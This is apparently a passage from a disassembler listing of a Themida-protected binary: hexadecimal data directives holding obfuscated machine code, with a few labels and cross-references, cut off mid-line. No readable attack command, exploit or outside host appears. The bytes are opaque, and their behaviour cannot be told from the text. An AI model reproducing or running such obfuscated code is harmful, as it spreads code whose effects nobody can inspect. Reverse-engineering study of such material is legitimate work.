2DA19D89h, 8B500615h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6AF88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 22D51EC3h, 3959D8Bh, 9D8B0615h dd 6151345h, 18A9BD83h, 0F000615h, 9684h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0CD22884Ch, 834B9CEBh, 0BB663735h, 0B8711Fh, 8D000000h dd 154F9E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0FE901C6h, 88000000h, 0F1FF3770h dd 1573757Ch, 8226366Bh, 0E1FFE3E6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 2DC35747h, 352D7A32h, 27AC71B1h dd 4DBD8BE1h, 66061502h, 835B3DBFh, 151115BDh, 840F0006h dd 379h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0AC35242h, 83FA9F1Dh, 151115BDh, 840F0106h, 368h dd 1FB1BB66h, 1115BD83h, 0F030615h, 32186h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 5B3328Ah, 8E860h, 1E7B0000h, 673CD488h, 0BF60DD96h dd 5F2B0397h, 0F4DF8166h, 665F611Ch, 0BB3D98Ch, 6604E180h dd 0FCEDD381h, 840FC90Ah, 116h, 87EBBB66h, 249D858Bh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 2F104DC3h, 0CD18589h, 85330615h, 61519B5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C2C35242h, 7139A374h dd 66739AA4h, 5CB7F781h, 0D7BB6690h, 6A905029h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0A652C352h, 0D355F054h, 3BA8A69Eh, 11E9h, 10C7D300h dd 0D2A96979h, 3034CAE0h, 5B3A6938h, 6A12EBh, 921BD23h dd 58680615h, 50ADC7ABh, 4876BF66h, 2404815Bh, 525758A7h dd 24019529h, 95FF0615h, 6150DADh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0B6C35242h, 0E5BD8BBDh, 8906150Ch dd 18BF9985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 7D8D8997h, 0E9061505h, 151h, 858BFB8Bh dd 618BF91h, 810CD381h, 0C740E1h, 18h, 2A2D8529h, 8D890615h dd 6151A05h, 0BF95B58Bh, 0BF0F0618h, 45858BF8h, 0B06150Ch dd 1504B9BDh, 89FE8B06h, 0CF816606h, 858B7CFDh, 615249Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2EC35242h dd 0D60DE9D3h, 0F79FE43h, 385h, 49F38000h, 89FBB70Fh, 66500446h dd 896701BBh, 0BF0F2434h, 0DB8166D9h, 0B5FFCFCFh, 618BF91h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 86C35040h dd 2E68EE10h, 0F1B393Dh, 28Fh, 81F88A00h, 3ED12434h, 6A1B26h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 4A32DDC3h, 5C433CD0h, 8D67B3D8h, 18BF9985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 4D5F5564h, 18ADE515h, 10E94EB0h, 58000000h, 42971A69h dd 378950C6h, 632C14Eh, 9092438Ah, 9050D88Bh, 0DAD95FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0E484CFC3h, 80E78166h, 0C38161BDh, 7E942B9h dd 2EB98589h, 85C70615h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 10C35545h, 7D4E7B03h, 8B332880h dd 151005BDh, 99BD8306h, 618BFh, 20840Fh, 0E9530000h, 8 dd 8EF9DC28h, 0BB7CCFAAh, 0B589515Fh, 6152DE9h, 1FE95Fh dd 0BF660000h, 3050F260h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 6AF5C0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 4DE913C3h, 0FEBF3C6Fh dd 837C9B1Ch, 151115BDh, 850F0306h, 444h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0F6C35343h, 0BD21A1FBh dd 10FD8D89h, 0BD830615h, 618BF99h, 11840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0F545C351h, 0B97F8693h dd 2B159D8Bh, 0B5FF0615h, 618BF99h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 0B1F39B5Bh, 0BD2B5DA7h dd 61525C5h, 26359531h, 95FF0615h, 61510E1h, 9573BB66h dd 0BF8DB58Bh, 9D030618h, 6150679h, 106C7h, 9D310001h dd 61504E5h, 6FBF5096h, 9645BF59h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 52C35040h, 405C8B6Fh, 1449BD09h dd 0BE90615h, 45000000h, 0D88EB7A2h, 6CBC6AA5h, 0B5FFAAD9h dd 618BF99h, 0FF25D780h, 1506A195h, 9D895606h, 615006Dh dd 8DB58B5Bh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0F3C9C356h, 0F018C7Fh dd 680h, 0D6EB8100h, 812683A8h, 22AE98C7h, 59858B73h, 6A061500h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0AD7FC353h, 85D5D31Ah, 0E9A2E588h, 0Dh, 4581E395h dd 3572B953h, 0A465D20h, 0C4868974h, 66000000h, 4EACC781h dd 2721958Bh, 8B600615h, 150C89B5h, 95BD8B06h, 61061523h dd 0F804C283h, 6A205089h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 7E8CC351h, 13C697BEh dd 619D8B1Bh, 8D061500h, 18D45885h, 0E99D8B06h, 89061503h dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 19AA6880h, 22F59D89h, 0DD8A0615h dd 8B66006Ah, 99B5FFFEh, 6A0618BFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2BEAC355h dd 1D4D95FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 6116B1C3h, 3B008F8Dh, 2E119D8Bh dd 89500615h, 0BD232434h, 61507E5h, 0BF99B5FFh, 6A0618h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 3B8D55C3h, 0BFF59958h, 72995FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 2AC01EC3h dd 65BD3352h, 0BF06150Dh, 1F9DA145h, 65BD83h, 0F000615h dd 4184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0D84DC8DCh, 585901Ah, 85314BB7h dd 61518E5h, 7A6EBB66h, 2B57BB96h, 565007CBh, 965BCCB3h dd 3429BD8Bh, 0B5FF0615h, 618BF99h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 11C35040h, 2D6759A5h, 608AE520h dd 13BB6643h, 3995FF0Dh, 6A061504h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 9DCAC350h dd 0DBA38E90h, 0FFD8B70Fh, 18BF99B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 95FF5363h, 6150DCDh, 2F6D9D01h, 0BD830615h, 615285Dh dd 7D840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 4EC357h, 0F496A40h dd 1984h, 14E900h, 0DCC70000h, 5999A46Eh, 0BEE58CA3h, 17698F4Ch dd 1F16B7BAh, 0F568A2Ch, 8B5BDAB7h, 15284985h, 38B0F06h dd 0F000000h, 0C6D9B7h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 1ECEDD81h, 0F781F8E5h dd 81EE912h, 23F585C7h, 615h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 5B9EEEC3h dd 0D98B694Fh, 0FFF432E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD8B2B53h dd 6152835h, 0BF66C18Bh db 0Bh, 69h word_5C4EAA dw 858Dh ; DATA XREF: Themida_:0057CDF0o dd 615279Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 8CC35545h, 0C4838CA1h, 6E1BA6E3h, 85316069h, 615251Dh dd 6810Fh, 85890000h, 6153001h, 8B609061h, 0B5BA60DAh dd 615ED21Dh, 0F4B75061h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9531870Fh dd 6151821h, 0DB81006Ah, 516219BBh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 85895EC3h dd 6152249h, 0B6D2858Dh, 6A0619h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0C08323C3h, 11E805h dd 1C8C0000h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 66E523CEh dd 5BF49ABFh, 6A905090h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0E5E3C351h, 8509666Bh dd 61500E1h, 2F559589h, 6A0615h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0DAC35343h, 12E97B6Ah, 0CF000000h dd 6FDBBF29h, 2D585FBAh, 787A6F1Bh, 2FAA6E4Ah, 0F781667Ah dd 6AE6D3h, 20D5BD8Bh, 95FF0615h, 6152679h, 161DB589h dd 8D8D0615h, 6189C15h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0CDC35343h, 1D3977ABh, 0C5DB0D0Ch, 6AD1FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 3544F7C3h, 600CFAC2h, 290940F5h, 152EFD9Dh, 0B5BD8306h dd 106152Dh, 97850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B2FA6C3h, 0FB8B66DEh dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 864EE2C3h, 8B1881CCh, 1505DDBDh, 8BBF6606h dd 4895057h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 22024028h, 0F320F781h, 0BB664EB5h dd 0AE9ECEEh, 0F7000000h, 59BF37B0h, 1125E359h, 4D95FF43h dd 8B06151Dh, 150A4DBDh, 0DC4E906h db 2 dup(0) word_5C5106 dw 0E8h ; DATA XREF: Themida_:00579B10o dd 5D000000h, 0B6DCED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0CB185EC3h, 26C9BD8Bh dd 8E90615h, 0BF000000h, 7D8FA095h, 8DED6E17h, 1888F985h dd 4895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0BE1AC69Ch, 8E91Bh, 0DB60000h, 466F976Dh dd 0FF6456F4h, 35h, 820F6000h, 2, 6461CE8Bh, 2589h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 8B181EC3h, 89907F67h, 1500618Dh, 29525006h, 15262DBDh dd 0FF5B5F06h, 15153585h, 6CCF8006h, 0BB66FF6Ah, 0B5FF6C68h dd 61502B5h, 5870Fh, 8BBB0000h, 0FF09F039h, 1508BD95h dd 125E906h, 0D7810000h, 9CD6505h, 0E6F500B0h, 0EE870h dd 71870000h, 72F6E92Ah, 82C654BCh, 51EFE146h, 898D0150h dd 5F061533h, 6671E45Fh, 3CE252BBh, 0F0830F61h, 2B000000h dd 1517259Dh, 0C8B60F06h, 6BAFB8Bh, 53000000h, 0F99D8B5Fh dd 8B06152Ah, 59589C1h, 89061525h, 151E7D85h, 4E8C106h dd 0F766FAB3h, 599D01E2h, 2B061506h, 0DEBF0FC8h, 0D18BDE8Bh dd 13E9h, 867B7B00h, 6EAB5E97h, 99191639h, 0F1ED4C04h dd 7C2BD2E2h, 5E9h, 0F7816600h, 858B5A56h, 6150C8Dh, 6860F60h dd 31000000h, 1511B9BDh, 8E906h, 82AA0000h, 0AF0A4342h dd 83614F0Bh, 5BB07C0h, 833FEC0Fh, 8B6600C0h, 0FD03BFBh dd 2483h, 11E800h, 0D3D80000h, 483E3613h, 6E6199DCh, 37349FD7h dd 662AC893h, 5F018BBFh, 3AE9h, 0CDBF6600h, 0E58D8B23h dd 29061515h, 150BB1B5h, 1E18306h, 21840Fh, 31570000h dd 150D718Dh, 0A5835F06h, 61515E5h, 66D780FEh, 9589DA8Bh dd 6150C8Dh, 0E9DA8Bh, 8D000000h, 192A47B5h, 11E906h, 0A0450000h dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 66AC0F00h, 6A886ABBh dd 0FFD98B00h, 152E2195h, 398D8906h, 0B906152Fh, 842h dd 13E9h, 75A6B500h, 1F64CDE5h, 63270E6Ah, 3BAF3A65h, 55AD6B2h dd 0E9FCE183h, 6, 0DD80B8AFh, 8BFC4237h, 1506B1BDh, 0B806h dd 95290000h, 6151391h, 0BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 85F74023h dd 0DB2BBF66h, 2CDBD8Bh, 33AD0615h, 3E8D1C2h, 4E983D0h dd 0B70FF475h, 50006ADAh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 706143EFh, 369C88D6h dd 880D8E11h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 6B2AC351h, 0BB66AF5Dh dd 958BFB6Bh, 6152721h, 8E8F88Bh, 0DE000000h, 1999E45Dh dd 0E8AA83CAh, 10h, 0B0E1E1C0h, 5F059D71h, 0FA0140BDh dd 0F7D471C9h, 0B204BF66h, 8D8B5B5Bh, 61504CDh, 325BB66h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BF0F5818h dd 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0F54234ACh, 1D48352Ah, 0A9BD83C5h, 61518h dd 7C840Fh, 14E90000h, 0C3000000h, 0EED2B7C6h, 0D48C44B0h dd 6A108220h, 3AB19CF9h, 0B82CA453h, 0 dd 19BD3160h, 61061527h, 4F9E8D8Dh, 6A0615h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0FA14E9C3h dd 0BD8B1A6Eh, 6152D6Dh, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0FB8B17C3h, 5E9h, 1166EE00h dd 0BD83149Eh, 6151115h, 78840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0EB11C353h, 0CCA4F320h, 0E4BF3A5Fh, 836F1DF8h, 151115BDh dd 840F0106h, 45Eh, 24A59589h, 0BD830615h, 6151115h, 15860F03h dd 23000004h, 15101D9Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0CE972C3h, 35000000h dd 6673B013h, 826B61CCh, 0E964F239h, 0Ch, 0C3A61B5Eh, 8EA6DC7Fh dd 0AA57A119h, 66D98C66h, 0E180D88Bh, 7B6DBF04h, 0C90A3421h dd 146840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 172CFAC3h, 13E8h, 3B814100h, 144F505Ch dd 4F7C6370h, 0F6D4CA80h, 328D82B7h, 59CB8166h, 858B5BE8h dd 615249Dh, 850EF0BBh, 0B585337Ch, 6A061519h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0AE56C351h, 0B65CE155h, 0E4738EE0h, 0FFAB70Fh, 8B90FFB7h dd 0BE950F8h, 47000000h, 9DE1649Fh, 5410A75h, 6A906D0Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 4F2C357h, 0CDBE742Fh, 8589272Fh, 61514D9h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 7A02A8C3h, 0E039009Dh, 3D8589EBh, 31061502h dd 150BDD9Dh, 0CCAF6806h, 8B661069h, 243481F9h, 1076CF50h dd 0DE9h, 38FA1600h, 0EB316E73h, 41A00700h, 95FF9343h dd 6150DADh, 1CF1B589h, 85890615h, 618BF99h, 7C18531h dd 26E90615h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0F5C6C356h, 8C937BD6h dd 0BF91858Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 55EC26C3h, 1800C7h, 51600000h, 16158D29h dd 665E0615h, 61119EBEh, 0BF95B58Bh, 0E9BF0618h, 8B47436Fh dd 150C4585h, 0A8E78106h, 8915FB74h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 8C5F2C0h, 0E2B5E292h dd 0B503602Eh, 61505B9h, 89619BB2h, 15018DB5h, 9D858B06h dd 60061524h, 859501F9h, 6106151Dh, 6A044689h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0FA1DC357h, 0DD0DA6FDh, 0F525096h, 0A81h, 5E900h, 771E0000h dd 0FDEAC32h, 0DE8B6631h, 0E950585Ah, 10h, 7B5C14FBh, 0FE0BA0F1h dd 614F6371h, 0DF3999C4h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 606B2F41h dd 14E91Ah, 235E0000h, 29E5735h, 2BC81AE0h, 6E271392h dd 8658B2FDh, 0DE8D226h, 83000000h, 28469B20h, 77F4AD09h dd 797F4638h, 10E9h, 62E89F00h, 98856514h, 0E5C70E4Ah dd 57FA8F07h, 0B5FF5F3Dh, 618BF91h, 0D5958B60h, 8106152Ah dd 0C3BCDFE3h, 9D8B6176h, 615024Dh, 4E8h, 1F03FF00h, 8DB46000h dd 0BB665061h, 448B7545h, 8A570424h, 8B5BDAh, 8B665250h dd 5A310FF9h, 24448958h, 61BF6604h, 6A583Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 6C6E34C3h dd 2435B529h, 858D0615h, 618BF99h, 1E718D09h, 0BF660615h dd 8B506E06h, 240489DAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 40C35545h, 8597D33Ch, 7E9D8F2h, 0F000000h dd 0FF21935Eh, 95FF13BBh, 6150DADh, 0ECF38166h, 8D896190h dd 6150AA9h, 111585C7h, 30615h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F9F489C3h dd 0BF99BD83h, 0F000618h, 3384h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8B55610Eh dd 1533A5BDh, 25E906h, 8B600000h, 15010D9Dh, 61C38A06h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85000h db 0 byte_5C59C9 db 2 dup(0), 20h ; DATA XREF: Themida_:00579CC4o ; Themida_:0057C730o dd 8958C358h, 81042444h, 19042444h, 40000000h, 21C5C350h dd 6B14A879h, 8BDFB70Fh, 152FA5BDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 8AD7B348h dd 0DE904FAh, 2D000000h, 0E065C12Bh, 0CDA93A67h, 67FA3FE0h dd 1115BD83h, 0F030615h, 47E85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 2634EC9h, 99BD83F9h dd 618BFh, 451840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0A84D18C3h, 0B589FDA8h dd 6151CE5h, 0BF99B5FFh, 6A0618h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0A03D31C3h, 1559D8Bh dd 95FF0615h, 61510E1h, 27199D8Bh, 0B58B0615h, 618BF8Dh dd 0C7ADD380h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 78B83723h, 9E938h, 5C6E0000h dd 23857E15h, 9603AA6Ah, 0AE9h, 93FD6900h, 0F927B4CEh dd 50FD0FB7h, 9890Fh, 53600000h, 7270BA5Eh, 9661277Fh dd 0D1D9D8Bh, 0B5FF0615h, 618BF99h, 0A099D01h, 95890615h dd 6150479h, 6A195FFh, 5E80615h, 0C000000h, 0B604DB46h dd 8DB58B5Bh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 57D6C353h, 3B1CFC89h dd 59858Bh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 894D00C3h, 0C486h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0E6C6404Ch, 8B5BF850h, 15272195h, 0AD858906h, 8306152Eh dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 5E9786C3h, 16396EABh, 119D8919h, 8906152Dh dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 3350F0C3h, 0B30C7B29h, 0EE9FBh, 0D5CF0000h dd 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h, 0D458858Dh, 6A0618h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 9EA5C4C3h, 0F021AAC0h, 660E3458h, 894880BBh, 0B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 1E57B599h, 6AE56F4Ch, 0FFD88B00h, 18BF99B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0CA9C5C27h, 9ED13D28h, 5E92854h, 8B000000h dd 635F0B1Fh, 1D4D95FFh, 0E3810615h, 39CB2A5Ch, 12E86050h dd 0FB000000h, 0F35B2256h, 3F1E08F1h, 927C5828h, 17F7426Eh dd 8B665B88h, 348961CEh, 0DFB70F24h, 0BF99B5FFh, 6A0618h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 8C3A70C3h, 0EF8166F2h, 95FFB894h, 6150729h, 65BD83h dd 0F000615h, 5784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0B756B66Ah, 9D8BA8E2h dd 6152D51h, 0E9525096h, 0Bh, 6C1F562Eh, 2500D9F2h, 0F9341D0h dd 0B7525031h, 0BB310FF5h, 28BAC6FCh, 585A585Ah, 27BF6650h dd 9D899655h, 61528C5h, 0BF99B5FFh, 6A0618h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8ADFFEC3h dd 0B23FE872h, 0B70FF592h, 69BD8BDFh, 0FF061524h, 15043995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0D63B535Fh, 0BD8B6331h, 6152709h, 9E9h dd 2E313B00h, 5E6A0Fh, 0B5FF9430h, 618BF99h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 52C35141h, 0A38119AEh dd 1D8589B4h, 0FF061534h, 150DCD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A30C0B7Eh dd 0FE96391h, 0FB000000h, 555F6D05h, 2A3DA358h, 29CB63CDh dd 0BD835383h, 615285Dh, 24840F02h, 0E9000000h, 0Bh, 64A044C4h dd 64D430C0h, 8B01F2C4h, 15284985h, 7943BB06h, 0C6052Bh dd 0C9850100h, 0C706152Dh, 1523F585h, 6, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 1E07BE6Eh, 458589FCh, 0E9061513h, 0FFFFF31Ch, 0A7FFF781h dd 0C18B7DBCh, 68F0Fh, 0BD290000h, 6150005h, 25459D09h dd 858D0615h, 615279Dh, 0E8E62ABBh, 52505053h, 0BE8h, 0B190A600h dd 694A05C6h, 21A31C04h, 5FF98B66h, 585A310Fh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 65CEC350h, 0DD4A71A7h, 6A6EB309h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0BB2A5B1Bh, 0E37482DCh, 1605BD89h, 6A0615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 858DDD67h dd 619C635h, 2C759D03h, 0C0830615h, 5090FC05h, 8B0Fh, 66900000h dd 6A2AA8BFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 58317D19h, 0A096F0BFh, 0DFB70F06h dd 22D1BD8Bh, 6A0615h, 0CE4969BBh, 7995FF61h, 8D061526h dd 189C158Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 891609D3h, 15179185h, 6296BF06h dd 0D1FF4258h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0C9C35343h, 41F8B500h, 8BADA26Bh, 152F899Dh, 0B5BD8306h dd 106152Dh, 42850Fh, 8B660000h, 89026ADEh, 1520B9B5h dd 830F5006h, 8, 2890Fh, 0FE8B0000h, 89240489h, 1528A985h dd 4D95FF06h, 0E906151Dh, 14h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h dd 1D2D126Ah, 5D26DB58h, 0F81E9h, 0E800h, 815D0000h, 19C63FEDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 160B2A4h, 150821BDh, 25B52906h, 61061511h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h dd 8973E778h, 150E11BDh, 0F9858D06h, 6A061888h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0BA49C350h, 0F6A66E9h, 584h, 1068BF00h, 8531377Ah, 6150D71h dd 0AD25DB81h, 0BB90731Eh, 2530DF59h, 16A4BB50h, 8B905195h dd 35FF64FAh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 31C35141h dd 25896406h, 0 dd 3585FFF8h, 89061515h, 150765BDh, 6AFF6A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0D4DCC356h, 1B15A370h, 0B5FF76F7h, 61523E1h, 13870Fh dd 0EE90000h, 43000000h, 280FBCFBh, 58150E88h, 0FC4D2463h dd 0BD95FF60h, 0E9061508h, 15Bh, 8100B0F8h, 47441D3h, 8970E627h dd 1530159Dh, 8B71E406h, 150A11BDh, 0F613C06h, 13A83h dd 12E900h, 92840000h, 0A99914A6h, 0E15873A2h, 40FA8EC9h dd 0C52FFBA4h, 89C8B60Fh, 1518F5B5h, 6BA06h, 0BF0F0000h dd 56C18BFAh, 31958B60h, 8906151Ah, 1527A19Dh, 0C15F6106h dd 0B58904E8h, 6150CADh, 0FE2F766h, 1E80h, 10E86000h, 89000000h dd 0E47CCAB8h, 95E868DEh, 6E8A3h, 5B3D31C8h, 8C0Fh, 0E9610000h dd 13h, 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh, 2B21432Fh dd 0FE8A60C8h, 12870Fh, 0DE90000h, 0F9000000h, 0B2416102h dd 367B4BB4h, 95AB3B36h, 89D18B61h, 1507C1BDh, 6D952906h dd 0E9061521h, 87h, 0BE8h, 2CDADE00h, 0B0E651F7h, 0CC9EF94Ch dd 10DBD8Bh, 8B5B0615h, 885h, 8E900h, 0D14D0000h, 0ADDC9C0Eh dd 6EBF17E9h, 8323F7FEh, 9D8B07C0h, 6150C75h, 0F900C083h dd 830FD03Bh, 0Eh, 9A5BB52h, 0E95F3271h, 37h, 8D8BFE8Bh dd 0FFFFFFFFh, 109D9D89h, 0E1830615h, 20840F01h, 8B000000h dd 1517D1BDh, 0FFA58306h, 0FEFFFFFFh, 